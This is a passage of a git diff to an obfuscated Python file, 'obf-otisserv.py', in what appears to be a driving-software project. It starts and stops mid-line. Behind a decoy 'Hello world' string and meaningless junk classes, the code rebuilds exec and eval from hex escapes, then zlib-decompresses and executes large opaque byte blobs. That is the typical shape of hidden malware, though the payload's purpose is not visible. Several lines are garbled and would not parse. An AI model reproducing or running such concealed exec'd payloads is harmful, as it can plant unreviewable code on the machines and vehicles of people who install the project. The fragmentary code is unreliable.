;OoDOOooOOoOoDDDoDooooDDO,NNMMMMNNMNNNMNMNM,lljjijllljilljjjjilljjj,LLLJJLLJJJILLLIJJLJJILJJL,ilijjjlijillliilllill=(lambda IlIlIIIlIlIlIIlIllI:IlIlIIIlIlIlIIlIllI['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda IlIlIIIlIlIlIIlIllI:IlIlIIIlIlIlIIlIllI(__import__('\x7a\x6c\x69\x62'))),(lambda IlIlIIIlIlIlIIlIllI:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(IlIlIIIlIlIlIIlIllI)"),filename='\x58\x57\x57\x58\x57\x58\x57\x58\x58\x57\x58\x58\x57\x57\x58\x57\x58\x58\x58\x58\x58\x58\x57\x57',mode='\x65\x76\x61\x6c'))),(lambda:(lambda IlIlIIIlIlIlIIlIllI:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(IlIlIIIlIlIlIIlIllI)"),filename='\x58\x57\x57\x58\x57\x58\x57\x58\x58\x57\x58\x58\x57\x57\x58\x57\x58\x58\x58\x58\x58\x58\x57\x57',mode='\x65\x76\x61\x6c')))('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x62\x75\x69\x6c\x74\x69\x6e\x73\x27\x29\x2e\x65\x78\x65\x63')),(lambda xwxwxwxwxwxwwxwwwxx,IlIlIIIlIlIlIIlIllI:xwxwxwxwxwxwwxwwwxx(IlIlIIIlIlIlIIlIllI)) + _while(_product = -75333 * 52091)._walk(Builtins = System._memoryaccess - 62713) ;LLLJJLLJJJILLLIJJLJJILJJL()(ilijjjlijillliilllill(OoDOOooOOoOoDDDoDooooDDO(NNMMMMNNMNNNMNMNM(lljjijllljilljjjjilljjj('\x76\x61\x72\x73'))),_while._negative(Product='xwwxwxwwxwwxwwxwxw')+_while._negative(Product='wxxwwxwwwwxwwxwxxxxw')+_while._negative(Product='XWWWXWXWWWXWWWWWWXWXXX')+_while._negative(Product='lIlIIlIlIIIlIllIIlIlll')+_while._negative(Product='wxxxwwwwxwwwxwwwxwxxwx')+_while._negative(Product='llIIIlIlllIlIlIIIlllI'))) - elif 405558 > 5948117: - _divide(_algorithm = -1761 + 80486).Positive(Statistics = _absolute.While * -79396) \ No newline at end of file + except Exception as DetectVar: + if 223437 > 3645380: + _while.execute(code = Add(DetectVar)) + + elif 199354 > 1178268: + _while(_product = 81711 + -98358)._walk(Builtins = System._memoryaccess + -80373) \ No newline at end of file diff --git a/selfdrive/dragonpilot/obf-otisserv.py b/selfdrive/dragonpilot/obf-otisserv.py index 0a4af15c0..935059822 100755 --- a/selfdrive/dragonpilot/obf-otisserv.py +++ b/selfdrive/dragonpilot/obf-otisserv.py @@ -1,5 +1,5 @@ from builtins import * -from math import prod as Floor +from math import prod as _system __obfuscator__ = 'Hyperion' @@ -11,94 +11,88 @@ __license__ = 'EPL-2.0' __code__ = 'print("Hello world!")' -_invert, _stackoverflow, _multiply, Run, Negative, _statistics, _run = exec, str, tuple, map, ord, globals, type +Walk, System, _divide, Algorithm, _callfunction, Multiply, _memoryaccess = exec, str, tuple, map, ord, globals, type -class _while: - def __init__(self, _ceil): - self.Divide = Floor((_ceil, 55110)) - self.Positive(_calculate=-90180) +class Math: + def __init__(self, StackOverflow): + self._positive = _system((StackOverflow, 37350)) + self._detectvar(Positive=68711) - def Positive(self, _calculate = Ellipsis): + def _detectvar(self, Positive = float): # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler - self.Divide /= -188 + _calculate + self._positive /= -22571 / Positive try: - {_stackoverflow: Run} if _stackoverflow == _multiply else {_stackoverflow: Run} == _stackoverflow + ((Algorithm, _callfunction) or _statistics if (Algorithm, _callfunction) and _statistics else ... or (_statistics, (Algorithm, _callfunction))) except TypeError: - {_stackoverflow: Run} if _invert == Builtins else {_stackoverflow: Run} >= Builtins + ((Algorithm, System, _divide) or _divide if (Algorithm, System, _divide) and _divide else ... or (_divide, (Algorithm, System, _divide))) except: - _run(83343 + 11451) == False + _memoryaccess(81444 + 2674) == False - def Modulo(self, _positive = 53163): + def _while(self, Negative = -81082): # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler - _positive *= 31566 + -56523 - self.Hypothesis != float + Negative -= 37911 / 79062 + self._random != type try: - ({_multiply: Run} or Run if {_multiply: Run} and Run else ... or (Run, {_multiply: Run})) + ((_divide, {System: _callfunction}) for _divide in (Algorithm, System, _divide) if _statistics >= Algorithm) + + except AssertionError: + ((Algorithm, (_divide, _callfunction)) for Algorithm in (_callfunction, Algorithm, _divide) if Multiply >= Algorithm) + + except: + _memoryaccess(-75407 / -76128) == float + + def While(_power = float): + return Multiply()[_power] + + def Cube(_hypothesis = 19148 - -91864, _invert = True, Absolute = Multiply): + # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler + Absolute()[_hypothesis] = _invert + + try: + (({_divide: _statistics}, _statistics) for _statistics in (_divide, _callfunction)) except ArithmeticError: - (({_multiply: Run}, _invert) for _invert in (_multiply, _stackoverflow, _stackoverflow)) + {System: _callfunction} if _statistics > Multiply else {System: _callfunction} <= Algorithm except: - _run(2067 - -57874) == str - - def _absolute(Calculate = type): - return _statistics()[Calculate] - - def _detectvar(Math = -62306 * 40167, Substract = float, Multiply = _statistics): - # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler - Multiply()[Math] = Substract - - try: - ((Negative, {_multiply: Run}) for Negative in (_multiply, _stackoverflow, _stackoverflow) if Run != _multiply) - - except AttributeError: - (Builtins, Builtins) if Builtins != _stackoverflow else {_stackoverflow: Run} >= Negative - - except: - _run(96954 - 44208) == str + _memoryaccess(10513 / 30596) == False def execute(code = str): - return _invert(_stackoverflow(_multiply(Run(Negative, code)))) + return Walk(System(_divide(Algorithm(_callfunction, code)))) @property - def Hypothesis(self): - self.Frame = '<__main__.Multiply object at 0x000002863BE87438>' - return (self.Frame, _while.Hypothesis) + def _random(self): + self.Add = '<__main__._memoryaccess object at 0x000009811BE59479>' + return (self.Add, Math._random) if __name__ == '__main__': try: - _while.execute(code = __code__) - _product = _while(_ceil = -77453 * -56478) + Math.execute(code = __code__) + Modulo = Math(StackOverflow = -2629 / -72112) - _while(_ceil = -50164 - 10428).Positive(_calculate = _product.Divide - -58070) ;_while._detectvar(Math='IllIlIlIlllIIIIlIIlIllIl',Substract=b'x\x9c\xdd]\xffs\xda\xc8\x92\xff\xdd\x7f\x05\xbbWW\x86\na\x85\xd0\x17p\x1dW\x95\x8d\xf3n\xf1\xb3M*\xce{\xf1\x95\x9f\x8b\x12 b\xbc\x02\xf9\x00\xc7\xcem\xed\xfd\xed\xd7\xdd3=\x1aI\x80\x04H\x8ek\x8d\x01i\x18\x8dF\xf3\xa5\xa7\xbf|\xbag\xb5\xf8~rT\x81\xbf\xe9\xa4J\xdf\xf87\x18\x84\xc3\xc9\xe3r\xe4\xad\xc2\xc5`P\xf9\xa9\xfb\xf3o\xdf\x1f\xfc\xc54\x9c\xff\\\t\x17Z6\xefqu\x17.\x96\x94\xa7\xfa\xf3p\x1a\x04\xdfWw\xfe\xd7\xd0[\xb5l\xe7\xe7\xfa\xcf\xbf\x06\x8f\xfe\'\x7f\xfcs-v\xd5\xd7\xe9\xea\xeeq(\n\xbe[\xad\x1e\x96\'\xbf\xfc"\xd2\x1a\xa3p\xf6K\xa2\x98_6\xdc{<]\x8e\xc2\xc58^\x8cLl|\xfd\xfa\xcbC\xe0}}\xf4\x13\x17\x05\xd3\x91?_\xfa\xe2\xa2\x0f\x1f\xcf\xdf\x9a\r#\x91e\x14\x8e\xc5\xef\xc7\x0f\x8b\xe9|U\xfd\xf97?\x08\xc2\xcaS\xb8\x08\xc6?\xfd\\;>\xaa\x9d\xa8\xdc\xf8\xfb\xf1\xf2\xf7\xe9\xf8\xb8v\xe4?\x8f\xfc\x87\x95l\xcc\xf9\xc3#\\\xf9)\\\xfa\xcb\x8a\xb7\xf0+\x0b\x7f\xfc\xaf\xf9?\xa7a\xe0\xafD\xc2\x10Z\xe6_\xf3\xff\x0e\x1f\xe9\xcc\xab`!\xff\x9a_\x86\xc3p\xfc\xbd\x12L\x7f\x87\xeb\xbe\x87\x8f?\xd7\x8eD\xa5\xa6\xb3\x87p\xb1\x1a\x0c\xe0n\xdf\x97\xc7\xb5\x86\xff<]UkGA8\xf2\x82e\xb5vs\xdc\x0f\xfb\xfd\xd3~\xbf\x1f\x9e\x86\xe1\xe9i?\x84\xd3\xfe\xe9\xf1m\xf7k\x10\x0e!\xcb\xd1\xda\xdf\xf1\xc2\xeb/\xd7\xf0\x8f\x1f\xf0\xf9\x05?\x8eoNN\xde\xbc}\xf3\xb6\xfa\xb6\xfa\xa6Y\xab\xddB!\xfe\xca[\xad\x16\x9b\x0b\xe9\x9d\x9f\xf7\xe8\xdd;\x87\xaf38:?K\x173\x9en)b>\x9f\xcff\xf4\x01_3:\x9c\xcf\xe1\x01\xc4#\x1e\xad\xfd\x99n\x1d\x04A\xaf\'\xfe{\xe2 \x80\xcb\xa2&\xdb|\xcb\xe0~:\x85\x7fzC)\xf7\xf7Sz\xdd\xc3\xe5\xebJ\xad\x1e\x0f\x1f\xa7\xc1j:\xc7\x0e\xf8\xe6-\xb64\xea\xd3\xf33\xfc\x8b\x8f\xa7\':{\x82R\xb9\x85U\x93_W\xd7\xdfh9\x9f\xae\x82\xe9\xe30\xd9\x86\xb5\xfa\x99j\xe0^\x8f[}\xd7Bj7\x85\x94\xd2\x98\xce\xc7\xfes\xf5\xd8\x0f\xa6\x0f\xb3p\x94\xcap\x0b\xe3sC\x0bc\x1b]\xc0\xdf\xe5%\xfc_\x8a\x83\x0b<\xbe\xf8\xeb\xb6\xd22\xf0\xfe\xb6k\x1b\xf5\xe0\xee\xe7rR\xf5\xce\xce\xce\xe1\x1f\x92vi\xa3\xe9t\xb4\xf4\xe6\xd3\xc3\xdahc!;\xb5\xd1\xe6R\xb8\x8d\xbeO\xa6\xc1\xb3\x7f7\x7f\\\xd7N\x1b)\xc05\xd2.\x8d\x8a\xd1\xd9\x97\xeb\xbf\xecHZ\xac\x96\xeb\xdag3q\xa6\xfb\xc0\'\xfd\x8b\xfb\xc0\xd1_\xb6}\x820L\xff\x9a1\xd1\xf0l\x1aL\xe9/\x08\xe0\x08O\x83\xbfl\x13\xf9\x8f\x8b\xcf;\xcd\xb1KI\xa6\xc5?\xfc\xfde\x9b&\xf0\xbe\xf9\xbb\x8e\x9e\xb0\x8f\xafS1\xeb`\xfa\xe1\xdc\x0bq\x16\xfee[i\xe5\x85\xc1d\xe7f\x82\xc6\xa1\xe69=\r\xf1\x85\x07\xf8\t\xadt|\xdc\xb8\x0f\xa7\xf3\x8dDl\xfdBX\x1d\x1e[\x1dg\xe4\x8c\xac\x0e\xbe\xc4Q\xfc\x1d\xa5\x89\x17\xb0nc\x1fY\xfc\xeaq{\xb2Z\xb3\xd0\xfcE;l\xe4?\xef:\xac7\xb6\xb93\x86\x97O\x9f\xf8\xed\xabs_\x9e\xc1;\xbb\x9dS$\xa5\xba\xf1\x86\xa6k\x1b\xd6\xc4n\xd9\x96\xe9f\x15\xbc}\x08\xe2\r\xa8X\xd1\xb4\xe7\xd4\xbagqa%]\xb1\xe3Zk`\r\xcc\x81\x01\xef\x0e}Z\x836\xe4\xb4\xd2\xa9Y\x05\xb5\x07m\xca\xde\x1c8\xf4j\x0f\x1c\xc8\xd9I\xa7f\x15\xd4\x84_\x8c\xccLPj\x0bJmA\xd9-x\xd9\x03\x0br\x9a\xe9\xd4\xed\x05m\xec\x98V\xd3\x1c\x9bms\xdc2\xcc\xcc\x99U\x13\x1f\xb1\xf7n\xa3\xc04\'\xa6yP\xffo&#\x13\x07^\xd6\xc4\xc2?\xfe\xa6?g"S&\xea\x0c\xce\xb3\x87\xf7<\\U7p^\xd5\r\x1cku\xbdHT\xcb\x18\xd3\xf0\x05\x87\x01\xbc\xee\xf1\'\xe4]\xb2\x87\xb3\x01\xfd\xdf\x81\x01\xeb\xc2\xb7\x01\xdf\x1d\x1a\xce\xa9\xd4\x17\x1c\x17 \xea{\xb3\xe1\xd8\xab|\xb9f\xf2+\xbeD3\x9dl\xe0M\xf6\xeb\xee\xd8\xca\x10\xad\x0e\xe2(:\x8fR\x8b\xa5g\xa6\xe9\xbb\xa6c\x03\xa9\x9c\xb8\x96c\x1f8\xaaQL$2Fw\x82c\x94\x113F\x80\x01\xbf4\x0b\xa01\x9b\x87\x80eOZ\x1dx\xb7\xe1\xed\xc0\xdb\x85wK\x1ec\x1a\xfe\xee\x9aC\x1a&y\xf2:\xbb\x91\x98\x1d\x17\x18\xc7\x81\x0e\x998\xbe{\xf0\x12\x13\x12\xfb"\xb8\x18\xe4x\xe0 \xdc\xb7\r[Z\x9b\x18Z\x9b\xd8\xb2\xdd6\xfdn\xe5k\xab]\xdbh\xe44\xdd\x96\x0b\x9d\xe1\xda\xae\xe1Xp\x06\x83\xd79\xb4\xc56\xf3\x19#\xf5\xf2\xd4\xa7\xa7>\xe1U\xf0\xact,\xe8\xfe\x92V\x18\xe0^\xd4\xabe\xf2w\xf4\x12\xe7\x05?\x90\xd5\x82>2m\x03?\x9d\xa63v[pl\xbb\xa6\xdbr:\xd8\x93\xd0{~y\x8f\xacx\xc2\x88OT\xfc\xa1H-\x98Kt\\\xd7p[\xd6\x08&r\x8b\x06g\x07\xa7\xb4e\xbbm|Th\x02\x1f\x1aaT\xd6pu]\xb8O\xdbu\xd57\xbf\xf9\x88?\xd5\xd9>\x8f\x7f\\\xeb\x10\x83\x88\x1c\xa9\x01\x0b\xb5\x83\x9f\xc4B\xa6R\xf7\xa5:6P\x10SRa\xa6.M\xf9\xdd\x91T\xc6\x94\x14(O\xdefN\xca\xbd\xe7\xbc\xe2\xd9$\xe6S4\xc3\xc4[|\x16<\xd0\\\xb34\x9a\xe7\xc1\xa0\xc5\x97GG\x9e\xa2|\xc8\xb1t\xe8L\xf0.\x1d\x91\xb3h\n\xa8H<\xcc\x17\xa7\\\xf2\xa0\xf7\x92\xde[Q\xaf\xf1q\xa1\x0f\t\x8c\x84\xe0M\xf3,\x92\xdb\xd9\xae\x80Ep\xe2\xeb\x91\xb5\x0f\x8a\x11\xdb\x0e\xe1\xbb\x0c\xf9xyg\xdd~\xfc\x12p\x00\x96\x03-\xd9j\x975\x13\xac\xb1\xe5\xc3kL\xdf|,\xce\xa3_\xe4Q\xa1\x03\x04\'\xb7=rL(\xbci\x1b\x96iMl\xa0l6J\x81C\xcb\xb6|\xfc\xad\xac\x87\xd6y\x82\xe88N\xd3\xf4\xa3\xec\x07\x97B\xd5\xd5\x95\xc9\x7fpx%?\xcc\x93\r\n\xb7\xad\xe3\xde\xa4\xeb\xaf\xa8\x08Q\xa0<;d\xc1q\xe5\x82\xc1\xa2\x80-\x17\x92\x16\xa7k\x0bNV\xdeV\t\xec\xefN"\xed\xd6\xe6{"\x930\xfeK#1\x1a\x87_f\xb2\xef\xba\x1a\x10\xe7\x84\xacci,bLI\x1b?\xd2\xd5\xb8E3\x8a\x9d\x12\xa5\x16O\xae\xd2\x9eZ\xcbG\x9a\xcc\xc2\xeb\xb7X\xd1\x0b~0\x10aA0\xc3U\xdb\xa0\xe2\'\x07\xaf\xde\xc7\xac\x87\x92\x9a\xa9\x8b\x8b\x17R\t\xed\xaa \x16\xe4\xd2\x86\xd5\xfdP\xf9=4B\xa3\xdf7\x80\x14\xe2\x17\xfe\x1b\x06\x92\xc9\x17{\xf0\x97S\x1dJ\xf0\xcf\x17\xfa@U[\x16g\xe2\x92z\x10e\rTW\xa3\xbc\x81\x8a\xc3v:\xb5\x10>(\x97\x92\xca\x85[\xdbpSC};T\xa5T\xea\xcbU)WIm\xd2\xc2\x0b\xd3\x81\x015\xb4\xa9);\xe9\xd4\x97\xaa\xf7v5\x14\x0bx\xa6\xa6\xaa3\xe5\xba\xebj\xebs\x9e\xbc9\xd7\xe7\xbc\xef]i\xa4I\xca\x10\xdfi9m\xd3?X\xf7*\x0cr\xf2MS\xb6T\xf6\xbe-\xdb\xd0\x96*?C\xb61\x7f;\xa4*\x15}\x91\'\xaf\xbd\x8b\x86~\xb7E\xf6%\xb41\xc7\x04\xda\x08\xd0\x06\x82\x1f\xf83f\xbc\xff\xf1r\x98\xab\rz[N\x02}r\xe8\xfa\xef\x80\xc7\xee31\xf7\xb3\xdf|T\x96J\x12\x0f\x19!\xbb=\xd7\x18\x90\x8a\xd2\xa3JUY\xf9\xf8e\xe6j\xf1\xed\xe4\xa8\x02\x7f\xd3I\x95\xbe\xf1o0\x88\x86\x93\xbb\xe5\xc8_E\x8b\xc1\xa0\xf2\x97\xde\x0f\xbf|\xbb\r\x16\xd3h\xfeC%Z\x18\xd5\xfc\xbb\xd5u\xb4XR\x9d\xea\x0f\xc3i\x18~[]\x07_#\x7f\xd5v\xdc\x1f\xea?\xfc\x14\xde\x05\x1f\x82\xf1\x0f\xb5\xc4Q_\xa7\xab\xeb\xbb!\x9f\xf8z\xb5\xba]\x9e\xfc\xf5\xaf\\\xd6\x18E\xb3\xbf\xa6N\xf3\xd7\r\xd7\x1eO\x97\xa3h1N\x9eF\x156\xbe~\xfd\xebm\xe8\x7f\xbd\x0bR\x07\x85\xd3Q0_\x06|\xd0\x9b\xf7\xef~\xb4\x1a\xcdT\x95Q4\xe6\xdf\x8fo\x17\xd3\xf9\xaa\xfa\xc3/A\x18F\x95\xfbh\x11\x8e\xff\xf2C\xed\xf8\xa8v\xa2k\xe3\xef\xc7\xcb_\xa7\xe3\xe3\xdaQ\xf00\nnW\xaa3\xe7\xb7wp\xe4\x87h\x19,+\xfe"\xa8,\x82\xf1\xbf\xe7\xff\x9aFa\xb0\xe2\x82!\xf4\xcc\xbf\xe7\xff\x1d\xdd\xd1\x9e_\xc1\x93\xfc{~\x11\r\xa3\xf1\xb7J8\xfd\x15\x8e\xfb\x16\xdd\xfdP;\xe2\x9b\x9a\xcen\xa3\xc5j0\x80\xab}[\x1e\xd7\x1a\xc1\xc3tU\xad\x1d\x85\xd1\xc8\x0f\x97\xd5\xda\x97\xe3>\xfc5\x9bQD\x1fQ\xd4\xc4\xaf\xe3\xab\xde\xd70\x1aB\x8d\xa3u?\xe3a\xf3\xf9\x8c\xffg\xf0\x0f\xdf\xf3\xe3/\'\'\xaf~|\xf5c\xf5\xc7\xea\xabV\xadvu\xd5\x1bO\x17\x1b\x0f\xb7\xac\xcbK\xfa\x87\x8fK\x0b\xfe`#{\x86\xaf\xc1\xca_\xad6\x9f\x85OqI\xe7Q\x9b\x16\x9f\x0eZ\xc0M<\xda\\\x07\xcfpqq\x0e\xff\xe7\xe7\x17\xf4\x7fN{pl\xdco\x1b\xaf}vv\xf6\xee\xec\xed\xdb\xb7\xef\xf0\xfb\xec-\xed\x9d\xc1\xa1\xeb\xceX=\x1e\xdeM\xc3\xd5t\x8eO\xe07\x7f\xb1\xb9[\xa3~t\xda\x87W\x84\x1b\xf4\r\xa7\xa4[\xb7\xf8\xceU\xbfY\xd5\xf5\xd7Y\xce\xa7\xabpz7L\xf7e\xad>\x9f\xd3\x83\x9a\xcd\xe4\xc9=\xf6\x0c\xb5/\xc5O\xd1\x98\xce\xc7\xc1C\xf5x\xe5G\xe1$\xf3\xf3Um\xc7\xd3\x82N\x83^\x89\xe0\r}\x03\xdd\xf4\xe7\xec\x9c\xc5j\xb9G\xd7`\xb7P\xc7`\xcf\xc0N\x84\xc3\xe8O\xdaCa\x14e\x7f\xdd\xd9E\xef\xde\x9e\xbd{K3\xf6\xed\x19o\xc2\xa4}\xf7\xe7\xec \xff\xb7\xe0\xf1\x1d\x14\x86\xe1t\x1a\xdeLo\xe0\x1f^\xb0\x1d\x86\xb0\x1dB\x17\x1d\x1f7n\xa2\xe9|\xc7\tb\x82\xae\xba\x14>\xff\x94\xfd\x1b\x84\xd3\xdbY4z|\x17\xe3eg\xbc`\xaa[\x99\xcd\xfe\x9c=\xb4\x0c\xfd\xbf\xad\xeb\x9f\xb5\xeb\xa6\x9a\x9e0+\xdf\xe1\xf4\x84R\xfe\x9d>\x1e\xd7?\xd3\xe9h\xe9\xcf\xa7\x05\xfag\xe3\x19\xf2\xf7\xcf\xe6SH\xff|\x9bL\xc3\x87\xe0z~\xf7\xf81\xf4\xf6\xdd;\xee\x1e\xe8\xc4w\xb8\x03\x1f\xf0\xfas\x0e\xa3\xbb\xc5\xc7u=\xb4\x81\x7f\xda8\x86\xaa\xc3c;\xb0\xc7\xf0\n\xe8\x1d\xe8-\xb3\x84\xb6\x81E\x1b\x07\xc8\xcbW\x8f;\x93\xd5\x9a\xe7\xf3\'\xec\xe6Q\xf0\xb0v\xbd\xd88Y\x1f\xee\xef\x1f\xee\x1f\xe0\xef\x1e7\xe8m\x1e\xbf~\xa9\xadn{<\xed\x965\xb6:\xd6\xb8\xdd\xb4\xba\xbb\x1eA\x8d\xa4\x83}.\xd2|\xc4E6\xb7>\x0c\xcf\xc23\xfc\x0b\xf5\x7f\x98\xa3\xf9\xc7\xb5\x16\xfc\xdc|\xe2\x8e\xe2\xce\x9aG\xab\xea&\x1e\xb1\x9a\xe1\xab\xab\xeb\xd6\xa9\xda\xb6.\x81\xe9\x08s\x91&e\x1ff%N\xcf~\xe1\x86:\x93vW\xbd\x1dxw\xd4v\x13\xde\xb6\xda\xeeXC\xea\x8c\xdf\xf3g\xae\xc1f\r\xda\x03|waH\xd9\x03o\xe0\xd0`kgK\x8b\x0e6Y\x82[e\x0f6\xaf\x08\x1d>V\x1cT\xfcq~\xf1B\x08W\xe0\xb6\xdc\xb1\xebXc\x0f\xa7\x9b[\xd6DsGv\x97_\xf1\x16o\xbb#\xf3\x13\xdf\xe5L3\x0f&\xd3\x04\x969\xbb\xd0\x83&\xcey\xaeV4\xa5\xce\x9e\xe5\x9a2<%<\xf8\xc4\t\x82\x14\xb9\x03\xd5\xbb\xd9\xd2\xa2\x03\xa7\xad\x98\x18G12\xae\xda\xb7\x8cm[1By\xea\xb6K\x9fz\x9e\x03\xe4\xcc\x85\xdb\xe9\x94\xc6\x0c\xc1%\x80\x8c\xf2+\xbd\xcd\xfb;\xaf\xfc\x9c2\x04P\x15\xfa;W/\x14\xd9r\x12\xea\x16\x90a\x0b\xde\x0eq\x00\xad\x81K\x84:S\xfab\x08\xf5\xc1x\xad\xed\xcc\xb3\xc9>\xcb\x96\xc9,\xe3\xd6\xde#\x06\x9f\x8b\x07\x8b\xa4\x05o\xec\xfd\xee\xa0\x0b\xc7d\xcar=\xe1&\xfc\x9cg\x99\xcd_s\xebs\xb6\x14\xb5@\x11\n\xa9\x87\xa7\xf6\x85\x8a`YWQ\x97\x88\xf7 \xe5\xf7Q\xca\x87\xff\xd3\x83O\xa9.\xbdX@\xb5\x81\xf4uhJeJ\x9fay\xe2)\x15\xfa\xb3\xe1\xd8\xaf\xe0\x9a{q\xae\xd6`b\xf1\xcfi5>Y\xaf[\xde\x8fG\x9e\xd8\xf4\xc7\xdf.\x89\x9fv\xe2].\x8b\x92\xa7o\xf6j\x98\x87\x7f\x1d\xf5\xc9\xdf\xc9?*-I\xba\xf6\xdcvi\xea\x03`C\xe2\xd78\xb1=V%\\\x9a\xc3N\xb0\xdf\\\xb7\n\xcdrR\xc0\xa2\x06\x16\x07.|\xe2\xab\xb0"Vd\x87\x96\xfa\xee\xa8m[q\x00m\x83;\xd8V\xcf*W\xf0\xf5\xdcny\xeb\x9c)\xd4\xa6E^S\x14\x96\xdfK\x1a\x1eV\x00\xaf\t-\xef\xa8Y\xb2\xbd\xb6\x85\xacs\xcb#\xe6\x99\xb4H]d\xa6\xa1\x14\xf5O\x16,\xfem)\x03v\xc0E\xd6\x00\x98\xec\xc0k\xc2Q\x854$\xdb\x95pL\xe9\xe4%\xca7Q\xc6\xf1\xab\x00\xb3\x8d\xec\xb4G\xacYw\xe0\x11\x83m\x91\xe8\x9d)}j\xc6m\xbf\xb15\xd6\xafu\xc4\xa7d\x823\xf4\xc6e\x8d\x03\x18w\xbe\x8b\x93\x82&\x06\xbdp\x9fK\xf8\xe5\xeb\xdf\xfcR\xb9\xa7\xa2\xba\x88c$\xa6M\xe0\x9a\x9ab\xea\xcaCV\x8fk\x0e\x8dIT\x06\xb9$\n\xda$b\xb8\xd9\xd2\x17$\xae\xbb\xf4\xcc\x1c\xa0=E\xf4\xd4!\x19P\xc3\x90\xdf\xb0\xfd\xc4=P\xba\xf1k\xab\xd8\xd4\xd1*+/\xa1\xb4\x8a\xb7io\xf7\x9cP\xec,[\xa4\xa93\xb9W\xc3\xf0d\xc3\x8d\xed)\xe7\x89\x96Dt%\xa6\x9cg\x96\xc8^I\xdc\x1f\t\xb7 \xd2\xa2\xb5\x04\x05\\\x10n]X\xcf`\xaf4\x93R` F\xc6j/\xd0\xa5c\x03Q\x12\x94\xd5hQ\xea\x97\xd4D\xe2\xe1;\x89\xcf47\x1f\xffJ\xaf\x92\x88\xb5M\xaa@ \xd8\xac\xb4\x18;\xb6\xd7\x05^\xc5)\x8dSY\xf7d\xcd\xfd\xe4\xf3\xcd\xb1\x08\x97mQ\'t&j\xc6nB\xf8\noP36\xcd\xa7-\x04\xb6\xa8I\xc2w\x8b\xc4\xf06\xe9([\xd9\xd2\x97cOf\xf3*,G-wTp1\xc25\x88h\xe8\x99\xda|\x19\xe6>\x83\xbb)Q\xf2QL\x1a\xb2k\xbe\xc1\xcaq\xb9\xaf\xd8\xba\x910vei\xfa\x10<\xd0,\xc4\xc4\x89}Ol~\x84\x9d\xcb5yPw\xe5\xd2\xf4h\x93&\xab9hC\xf5&qp\x89\xd2\x03\xab\xf8;pN\xe4\x14\xd1\x94\xd0\xa6o\x87$\x9dL\xe93\xe9\xd3\xb6\x0e]nh>\xc5a\x9bl$d/\x85&!\xc2\x05\x01\x08v\xb6\xb4hC\x1d\x05\x0b3\xa1b\x1dCs!\xda\x8c]\xf5rj3v\xd88\x10\x13d`\x83\x08\x1f\x94\x17 \x84#\x00M\x14h\x88v\x89\x88\xa3)\xb0\x93-}1\xb2\x85\xa7l\x08M\xd7\xf6\xa0\xefc\\\x0csz\xaem5U\x8d2\xcd\xca\x9e\xe6\xcb\xc5\xb4\x9c50\xe72/o\xe4\x03\xaa\xffw\xed\xba\x1f-\xaa\xd5\r\xf0\xee\x9a?\x1f?\x9eY \x0f\x0e`\x12\xf0\x9b\x98\x06\xe2\x19\xa6\xf9\xd0\xaa]"j\xa8P\xb1\x95R\xc5!\x92g\xa7K\x9f\xceV\xb9\xb7\xd2\x7f?\xae\x1b\xb1j0\x10\xdb\xbe5\xb1`\xd2\xc3\xb8\xf3\xac\x00n\x82\xdf\xad\xb6\x0f\x82N\x13_\x85x\x0f\x05\xd5\xba\'\xdc\xd6\x83|<\xe4T/\xe0\x93\xe8\xd0\x12\xd0$UB\x97\xd4\x0b\x99\xd2\x17C\x02,`\xb4\'v\xdb\x1e\x16\xe3\xe7\x18\xa2\x1d*\xa9\x98\x19\xbb\x03\x9b\xbapUrH\x81c\xd3\\hQ\xdf\xb7\xb3\xa5\xcff=~v\xfa\xc3\xcb\x19\xa3\x7f\xf9\xe3ep\xd56\xa9\xd4m\x1b\x95\\\xa4>\x0f\x0c\xd5z\xb1qI\xea\x19\xa5\xfa\x12MM\xbe\x91\xe9\xd1\xc8bI\xcd#\xda\xdc\xa6\xe5>SZ\xb4\x8f;);\x8e\xab\xf0c-e\xc7i\x1a\xc0\xfb 9081017: - _product.Positive(_calculate = _product.Divide + -65540) - elif 127315 < 3954639: - _product.Modulo(_positive = 89009 - _product.Divide) ;_while._detectvar(Math='mnmnmmmnmmmmnnnmmmmnmn',Substract=b'\xac\x8a\xc75D\xf3\xa1\xd5\xcd\x96\xe6 g\xd0\xc4\xdb\xa5S_\'\xa8h\x9f%\xbau\xe0\x12}LD\x8e\xe8\x1d1\xb5\x82\xf8\xbd\x98\xf9V\xb2\xdc\xd7\xc2\x8fL\xe8i\xa5\x9a\xb6PU\x03H^\xf8r\xe9\xed\xca3q\xec\xca\x14\xf8|E\xba\xe6\xed\x90\t&\xbf:\xd4\x91\xe1\x12^\t$\x19\xd8$\\j}\xbaA\xd3)OP\xe5N\xd2\xbf\xa3n\xa3\x942\xb8B\x94\xd9-`\x99\x0e\xf7/\xd9\xae\xec\x1a\xc9\xcf\x91T}y\xea{$\x8f\xc5+G\xff\xfd\xf8\x91\xa8\xe6M\xbc\x9b\xf4\x14>\xde\x0b\xbd]\xf6ZJ\xe6\x9c\xa9\xf0f\x0f\xc8\xa1\x1dO\xf77\xe9\x94\x0b\xda\x11 